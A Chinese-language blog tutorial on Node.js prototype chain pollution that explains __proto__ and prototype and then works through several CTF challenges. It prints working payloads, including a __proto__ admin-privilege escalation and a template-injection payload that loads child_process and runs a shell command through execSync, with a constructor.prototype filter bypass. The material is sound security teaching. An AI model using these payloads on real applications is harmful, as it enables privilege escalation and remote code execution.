nodejs原型链污染

Nodejs与JavaScript和JSON

Nodejs和JavaScript的区别,如果没有node,那么我们的JavaScript代码则由浏览器中的JavaScript解析器进行解析,几乎所有的浏览器都配备了JavaScript的解析功能(最出名的就是google的v8), 这也是为什么我们能在f12中直接执行JavaScript的原因。而Nodejs则是由这个解析器单独从浏览器中拿出来,并进行了一系列的处理,最后成为了一个可以在服务端运行JavaScript的环境。这里看到一个很好的例子,学过java的师傅应该就明白了。

nodejs = V8 + 内置基本模块(基本由javascript编写)

JSON简单概括一下就是JavaScript的对象表示方法,它表示的是声明对象的一种格式;由于我们从前端接收到的数据基本都是字符串,因此在服务端如果要将这些字符串处理为其他格式;比如对象,就需要用到JSON了。

原型链

在JavaScript中,每个对象都有一个原型,它是一个指向另一个对象的引用。当我们访问一个对象的属性时,如果该对象没有这个属性,JavaScript引擎会在它的原型对象中查找这个属性。这个过程会一直持续,直到找到该属性或者到达原型链的末尾。
攻击者可以利用这个特性,通过修改一个对象的原型链,来污染程序的行为。例如,攻击者可以在一个对象的原型链上设置一个恶意的属性或方法,当程序在后续的执行中访问该属性或方法时,就会执行攻击者的恶意代码。
其实就是我们对原链中的某个属性进行了污染,向其中插入恶意代码,当我们再调用这个链(也就是使用这个对象)时,我们的恶意代码就会被触发,此时就达到了一个执行恶意代码的效果。

JavaScript中,每个对象拥有一个原型对象,对象以其原型为模板,从原型继承方法和属性。原型对象也有可能拥有原型,并从中继承方法和属性,一层一层,以此类推。这种关系被称为原型链。它解释了为何一个对象会拥有定义在其他对象中的属性和方法。

准确的说,这些属性和方法定义在Object的构造器函数之上的prototype属性上,而非对象实例本身。

在传统的OOP中,首先定义"类",此后创建对象实例时,类中定义的所有属性和方法都被复制到实例中。但在JavaScript中并不这样复制,而是在对象实例和构造器之间建立一个链接(它是__proto__属性,是从构造函数的prototype属性派生的),之后同通过上溯原型链找到这些属性和方法。

__proto__和prototype

在JS中,每个对象都有一个名为__proto__的内置属性,他指向该对象的原型。每个函数都有一个名为prototype的属性,它是一个对象,包含构造函数的原型对象应该具有的属性和方法,简单说__proto__属性是指向该对象的原型,而prototype属性是用于创建该对象的构造函数的原型。
例如

function Person(name) {
  this.name = name;
}

Person.prototype.greet = function() {
  console.log(`Hello, my name is ${this.name}`);
};

const person1 = new Person('Alice');
person1.greet(); // 输出 "Hello, my name is Alice"

在浏览器输入这些执行就会输出Hello, my name is Alice
创建了名为Person的构造函数,并将prototype上的greet设置为一个打招呼的函数。
当创建一个名为person1的实例时,它会继承Person.prototype对象上的greet方法,所以当调用person1.greet();就会输出Hello, my name is Alice
prototype是类Person的一个属性,所有用类Person进行实例化的对象都会拥有prototype的全部内容。
我们实例化出来的person1对象他是不能通过prototype访问原型的,但通过__proto__就可以访问person原型。

console.log(person1.__proto__ === Person.prototype); // 输出 true

也就是说

  • prototype是一个类的属性,所有类对象在实例化的过程都会拥有prototype中的属性和方法。
  • 一个对象的__proto__属性,指向这个对象所在类的prototype属性。

具体过程

例子

> var a = {number : 520}
undefined
> var b = {number : 1314}
undefined
> a
{ number: 520 }
> b
{ number: 1314 }
> b.__proto__.number = 520
520
> b
{ number: 1314 }
> var c = {}
undefined
> c.number
520
>

在进行b.__proto__.number = 520操作后,即使内容是空的c,调用number属性依然是存在的,且值为我们设定的520,这就达到了一个原型链污染的目的。

解释

这里之所以执行过b.__proto__.number = 520后输出b的值依然为1314,这是因为在JS中存在这样一种继承机制,在这里调用b.number时,调用过程如下

  1. 在b对象中寻找number属性。
  2. 当在b对象中没有找到时就会在b.__proto__中寻找number属性。
  3. 如果仍未找到就会去b.__proto__.__proto__里寻找number属性。
    也就是从自身一层一层往上递归寻找,知道找到或递归到null,此机制被称为JavaScript继承链,我们这里的污染的属性是在b.__proto__中,而我们的b对象本身就有number,所以其值并未改变。
    这也就解释了为什么c对象明明是空的,但JavaScript继承链机制会让它继续递归寻找,直到找到c.__proto__里的number属性,c.__proto__其实就是Object.prototype,而我们污染的b.__proto__也是Object.prototype,这也就解释了c.number=520

当存在函数的情况下

> function merge(target, source) {
|     for (let key in source) {
|         if (key in source && key in target) {
|             // 如果target与source有相同的键名 则让target的键值为source的键值
|             merge(target[key], source[key])
|         } else {
|             target[key] = source[key]  // 如果target与source没有相通的键名 则直接在target新建键名并赋给键值
|         }
|     }
| }
undefined
> let o1 = {}
undefined
> let o2 = JSON.parse('{"a":1,"__proto__":{"b":2}}')
undefined
> merge(o1,o2)
undefined
> console.log(o1.a,o1.b)
1 2
undefined
> o3 = {}
{}
> console.log(o3.b)
2
undefined
>

这里看到o3为空,但是还是输出b属性为2。
这里加JSON.parse函数是为了,这是因为,JSON解析的情况下,__proto__会被认为是一个真正的键名,而不代表原型,所以在遍历o2的时候会存在这个键。当不加的时候,他就会认为他是一个原型。
JSON.parse函数作用是将符合 JSON 格式的字符串转换为 JavaScript 可直接操作的对象、数组或基本数据类型(数字、布尔值、null)。和 JSON.stringify()(把 JS 对象转成 JSON 字符串)是互逆操作。

拓展(js大小写转换特性)

对于toUpperCase()函数

字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"

对于toLowerCase

字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)
> console.log('ı'.toUpperCase())
I
undefined
> console.log('ſ'.toUpperCase())
S
undefined
> console.log('K'.toLowerCase())
k
undefined
> console.log('K'.toLowerCase())
k
undefined

继续学

在c++或java这些面向对象的语言中,我们如果想要一个对象首先需要使用关键字class声明一个类,再使用关键字new一个对象出来;但是在JavaScript中没有class 以及类这种概念。在JavaScript有这么两种声明对象的方式,为了好理解我们先引入类的思想。

person=new Object()
person.firstname="John";
person.lastname="Doe";
person.age=50;
person.eyecolor="blue";

//这种创建对象的方法还有另一种写法 如下
person={firstname:"John",lastname:"Doe",age:50,eyecolor:"blue"};

//这种方法通过直接实例化构造方法Object()来创建对象
function person(firstname,lastname,age,eyecolor)  //这里创建了一个“类” 但是在JavaScript中叫做构造函数或者构造器
{
    this.firstname=firstname;
    this.lastname=lastname;
    this.age=age;
    this.eyecolor=eyecolor;
}
var myFather=new person("John","Doe",50,"blue"); //通过这个“类”实例化对象
var myMother=new person("Sally","Rally",48,"green");

//这种方法先创建构造函数 再实例化构造函数 构造函数function也属于Object

既然是通过实例化Object来创建对象或创建构造函数
在JavaScript中有两个很特殊的对象 Function() 和 Object() 它们两个既是构造函数也是对象,作为对象是不是应该有一个“类”去作为他们的模板呢?
对于Object()来说,要声明这么一个构造函数我们可以使用关键字function来创建 。(在底层 使用function创建一个函数 其实就相当于这个过程)

function Object()
{

}
在底层为
var Object = new Function();

那么对于Function自己这个对象他是怎么来的呢?如果用Function.__proto__和Function.prototype进行比较发现二者是全等的。

所以Function创造了自己 也创造了Object 所以JavaScript中 所有函数都是对象,而对象是通过函数创建的,因此构造函数.prototype.__proto__ 应该是Object.prototype 而不是Function.prototype Function的作用是创建而不是继承。


那么提到了__proto__prototype我们就来说说这两个是什么东西,
首先我们要了解以下概念

  • __proto__是任何一个对象拥有的属性 prototype是任何一个函数拥有的一个属性
    比如:
person={firstname:"John",lastname:"Doe",age:50,eyecolor:"blue"};

那么这个person对象就拥有了person.__proto__这个属性,而Object()我们刚才提到了是由Function创建来的一个构造函数,那么Object就天生有了Object.prototype

  • 某一对象的 __proto__指向它的prototype(原型对象) 也就是说如果直接访问person.__proto__ 那么就相当于访问了Object.prototype
  • JavaScript使用prototype链实现继承机制
  • 构造函数xxx.prototype是一个对象 xxx.prototype也有自己的__proto__属性,并且可以继续指向它的的prototype
  • Object.prototype.proto最终指向null ,这也是所有原型链的终点
  • 从一个对象的__proto__不断向上指向原型对象最终指向Objecct.prototype后接着指向为Null 这一条链子就叫做原型链
    任何函数都可以当成构造函数,只要我们通过new关键字来实例化
var parent = function(){}
//定义一个函数,是普通函数,不可以称为构造函数
var instance = new parent();
//这时就可以称为构造函数了,创建了一个parent的构造函数的实例instance

可以参考这个视频看一个原型和原型链,讲的很清楚
JavaScript 原型和原型链(通俗易懂)哔哩哔哩_bilibili

prototype

prototype是函数特有的属性。之所以函数也会有属性,那是因为JavaScript中函数也是一个对象,对象会有属性。
一句话概括作用就是:让某一个构造函数实例化得到的所有对象可以找到公共的方法和属性。

所有通过Parent()构造函数实例化得到的对象都会有name这个属性,并且属性值就是那里的123456。为什么我们从没有给p1.name赋值,但是依然可以打印出值呢?这里就要引出__proto__属性了。

__proto__

__proto__是对象(通过构造函数实例化得到的对象)特有的属性。它表示当前对象的原型对象是谁。
对象的__proto__属性,就是构造函数的prototype属性。

p1.__proto__==Parent.prototype //true

我们就用刚才的例子来解释,当我们执行p1.name寻找p1的name属性时,首先会找p1本身有没有name属性(这里例子没有),如果没有,然后会寻找p1的__proto__属性上有没有name属性,也就是p1.__proto__,又因为p1的__proto__属性,就是构造函数的prototype属性,也就是p1.__proto__==Parent.prototype,然后因为Parent.prototype.name="123456",是可以找到name属性的。有时候不一定一层就找到了,也有可能找很多层,因为Parent.prototype属性也有自己的__proto__属性,一层一层找下去直到找到Object.prototype上没有name属性就放回null。

constructor属性

constructor 是对象特有的属性。它表示当前对象的 构造函数。在刚刚的例子中,我们使用构造函数 Parent() 创建了实例对象 p1。因此 p1的constructor 就是 Parent()。可以 console.log() 试试。

console.log(p1.constructor); // ƒ Parent(){}

我们知道,JS中函数也是对象。那么函数是否也有constructor 属性?我们发现构造函数 Parent()也有constructor 属性。可以 console.log() 试试。

console.log(Parent.constructor); // ƒ Function() { [native code] }

如果继续追问:Function() 是否也有constructor 属性?可以 console.log() 试试。我们发现,Function函数的构造函数就是本身了。

console.log(Function.constructor); // ƒ Function() { [native code] }

原型链污染

在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?

我们思考一下,哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可。
看下面代码 一个简单的对象clone

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {  
            // 如果target与source有相同的键名 则让target的键值为source的键值
            merge(target[key], source[key])
        } else {
            target[key] = source[key]  // 如果target与source没有相通的键名 则直接在target新建键名并赋给键值
        }
    }
}
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)

console.log(o1.a, o1.b)
//1 2 
o3 = {}
console.log(o3.b)


这里执行后发现,虽然两个对象成功clone,但是Object()并没用被污染.
__proto__ 在对象字面量里有一个特殊行为。
不会真的创建一个叫 "__proto__" 的普通属性,而是会把 o2 的原型设置成:

{ b: 2 }

所以__proto__不是自己的属性

Object.hasOwn(o2, "__proto__")  //false

导致污染失败,正确的污染方式是

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)


JSON 解析器不会把 __proto__ 当成 JS 对象字面量里的特殊语法。
所以:

Object.hasOwn(o2, "__proto__") //true

实战

CatCTF 2022 wife

可以注册用户,如果要注册管理员用户就需要邀请码,如果注册普通用户是拿不到flag的。
此时如果考虑到JS原型链污染的话,就变得简单了,应该是我们越权拿到管理员权限,从而获取flag,其注册界面源码如下所示

app.post('/register', (req, res) => {
    let user = JSON.parse(req.body)
    if (!user.username || !user.password) {
        return res.json({ msg: 'empty username or password', err: true })
    }
    if (users.filter(u => u.username == user.username).length) {
        return res.json({ msg: 'username already exists', err: true })
    }
    if (user.isAdmin && user.inviteCode != INVITE_CODE) {
        user.isAdmin = false
        return res.json({ msg: 'invalid invite code', err: true })
    }
    let newUser = Object.assign({}, baseUser, user)
    users.push(newUser)
    res.json({ msg: 'user created successfully', err: false })
})

我们这里注意到Object.assign方法,他类似之前示例说的clone函数,Object.assign这个方法是可以触发原型链污染的,所以我们这里污染__proto__.isAdmin为 true 就可以了。
把抓到包里的

{"username":"Xin","password":"123456","isAdmin":false}

改为

{"username":"Xin","password":"123456","__proto__":{"isAdmin":true}}

再放包就注册成功了,再登录得到flag。

[GYCTF2020]Ez_Express

进入后是一个登录页面,www.zip泄露了源码。
先审计index.js

function safeKeyword(keyword) {
  if(keyword.match(/(admin)/is)) {
      return keyword
  }
  return undefined
}
router.post('/login', function (req, res) {
  if(req.body.Submit=="register"){
   if(safeKeyword(req.body.userid)){
    res.end("<script>alert('forbid word');history.go(-1);</script>")
   }
    req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/');
  }
  else if(req.body.Submit=="login"){
    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
      req.session.user.isLogin=true;
    }
    else{
      res.end("<script>alert('error passwd');history.go(-1);</script>")
    }
  }
  res.redirect('/'); ;
});

只有用admin登录才会return keyword,否则返回undefined,返回undefined就会弹窗forbid word, 如果username经过toUpperCase后不能与原来的匹配,或password错误,就会弹窗error passwd,这也是为什么题中说用户名只支持大写。

再看这段,就很恶心,如果username为ADMIN就不能登录,又不让用admin 又得用admin登录,这里就用到了JavaScript大小写的漏洞。
所以用ADMıN来绕过,注意不是ADMiN 中间那个i是一个奇怪的字符,把username输入ADMıN直接注册就可以了.
这里试了试没啥用,继续看源码,上面提到了 merge clone操作可以控制键值和键名,从而达到污染。

router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});

也就是说我们可以在action路由下通过请求体来进行污染,原型链污染的位置找到了,接下来就是要找到可以用来控制键名和键值的对象。

router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})

可以看到在/info下,使用将outputFunctionName渲染入index中,而outputFunctionName是未定义的
render函数应该不陌生,在模板注入攻击(SSTI)中很常见,这里将回显req的outputFunctionNmae渲染到了index中,那么我们是不是可以利用outputFunctionName进行SSTI从而达到rce呢?代码跟下来我们发现并没有outputFunctionName这个东西,也就是说它是我们可以用来污染原型链的载体,如果把Object的prototype中加上键名为outputFunctionName 键值为恶意payload的属性,那么在进行模板渲染时,是不是就会执行我们的恶意payload
但是我们考虑一个问题,如何去修改Object的prototype, (确实是可以的 但是有点麻烦,下面参考文章的最后一篇就是直接修改Object的prototypr)我们重新回到这段代码。/action
发现请求体被clone到了req.session.user.data中,对于req.session.user这个对象来说,它的__proto__属性是不是就是Object的prototype ,所以我们可以修改了这个对象的__proto__从而达到目的。

req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }

SSTI的payload我也不是很懂,反正原理都是不断调用原型对象,最后找到一个可以用来rce的函数,payload和CVE-2019-10744是一样的,直接搬来用了。

{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');//"}}

这里提交的时候记得要把Content-Type改为json格式。
这里的payload主要是拿到child_process进而RCE,前面的a=1;和后面的//都是为了截断隔离。

过滤

过滤了proto了可以用unicode编码
在 JavaScript 中,除了 __proto__ 之外,还可以通过构造函数的属性逐层访问到原型链:

// 1. 利用 constructor.prototype
{
  "constructor": {
    "prototype": {
      "polluted": "yes"
    }
  }
}

// 2. 利用 Object.prototype (如果合并/赋值函数递归处理了对象键)

针对刚才那道题目可以换这个payload

{
  "constructor": {
    "prototype": {
      "outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');//"
    }
  }
}

之所以可以这样绕过,是因为对于普通对象。

let a = {};

a.constructor === Object //true

因此:

a.constructor.prototype === Object.prototype

又因为

Object.prototype === a.__proto__

所以两者就等价了。
但是针对具体的merge函数,这个方法不一定全适用。

例题

moectf2026合乎周礼

这道题可以提交解析json,我们用户默认是这样的

{
  "ok": true,
  "profile": {
    "profile": {
      "nickname": "guest"
    },
    "theme": {
      "color": "blue"
    }
  },
  "inheritedProbe": {
    "isAdmin": null,
    "canReadFlag": null
  }
}

需要"isAdmin"和"canReadFlag"都为true才可以,我们就直接污染
payload

{"__proto__":{"isAdmin":true,"canReadFlag":true}}

成功污染,拿到flag

参考文章

https://quan9i.top/post/浅析CTF中的Node.js原型链污染/
https://zhuanlan.zhihu.com/p/1918714959002580900
JavaScript 原型和原型链(通俗易懂)_哔哩哔哩_bilibili
https://blog.csdn.net/wtswts1232/article/details/130542254

posted @ 2026-08-21 11:35  X|n  阅读(4)  评论(0)    收藏  举报